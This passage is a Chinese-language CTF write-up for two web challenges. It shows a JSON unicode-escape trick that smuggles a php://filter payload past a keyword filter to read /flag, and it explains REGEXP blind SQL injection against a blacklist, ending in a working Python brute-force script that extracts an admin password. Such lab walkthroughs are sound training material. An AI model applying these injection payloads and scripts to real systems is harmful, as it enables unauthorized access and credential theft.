// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

构造假的json和配合php伪协议 即可读取flag

1
2
{ "page" : 
"php://filter/convert.base64-encode/resource=/flag"}

就是这么个格式就可以但是php这被过掉了 需要知道一点json中可以将\uxxxx转义成字符
php->\u0070\u0068\u0070
flag->\u0066\u006c\u0061\u0067 就可以了

198.PNG

NCTF2019SQLi

按照惯例 先扫后后台 一个robots.txt 叫我们访问hint.txt

1
2
3
4
5
6
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

给了黑名单 和拿flag的条件 会的盲注用的函数都给滤掉了
只好看别人的了 这题得用regexp进行盲注 因为他没被过滤
regexp 和 like 差不多的用法 效果也差不多

1
2
3
4
5
6
7
8
只不过 like 用%规定以什么开头的或者结尾的  regexp 以什么开头用^ 以什么结尾用$ 含有某字母的直接什么都不用
但是regexp有别的功能 “|” 替代 OR 且不需要空格
regexp 'a|b|c' 搜索效果相当与 where *** like '%a' or *** like '%b' or *** like '%c' ; 简洁多了

用[ ] 中括号来囊括多个搜索条件
例如[a]d 会查找含有a d的 d[a] da的
搜索结果会包含括号中每个元素与括号外的元素构成的任一结合
使用短横线 来进行范围匹配 比如[a-d]d 相当于[abcd]d

用regexp思路和bool注入一样 一位一位爆破 只不过bool以位为单位 regexp以字符串为单位

要爆破的username 正常来说是admin 但是输入username会弹出hacker 过滤太多了
单引号注释符都过滤了 而且又是字符型没法闭合引号 passwd也是

1
2
3
单引号可以使用\来转义 and前面的单引号 造成'\' and passwd=' 形成闭合
构造passwd为||/**/passwd/**/regexp/**/"^a";%00
即username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00

但是不能直接输入框那提交不然会变成被url编码成%2500

192.PNG

抓包修改成%00 会提示让我们访问welcome.php

走脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
from urllib import parse
import string
url = 'http://bc937545-f6a5-4925-94cf-649688eb59a8.node4.buuoj.cn:81/'
num = 0
result = ''
string= string.ascii_lowercase + string.digits + '_' #密码由小写字母 数字 下划线组成(实验证明
for i in range (1,60):
if num == 1 :
break
for j in string:
data = {
"username":"\\",#"\"转义"\"
"passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00'))
}
print(result+j)
res = requests.post(url=url,data=data)
if 'welcome' in res.text:
result += j
break
if j=='_' and 'welcome' not in res.text:
break

爆出密码 登录即可

193.PNG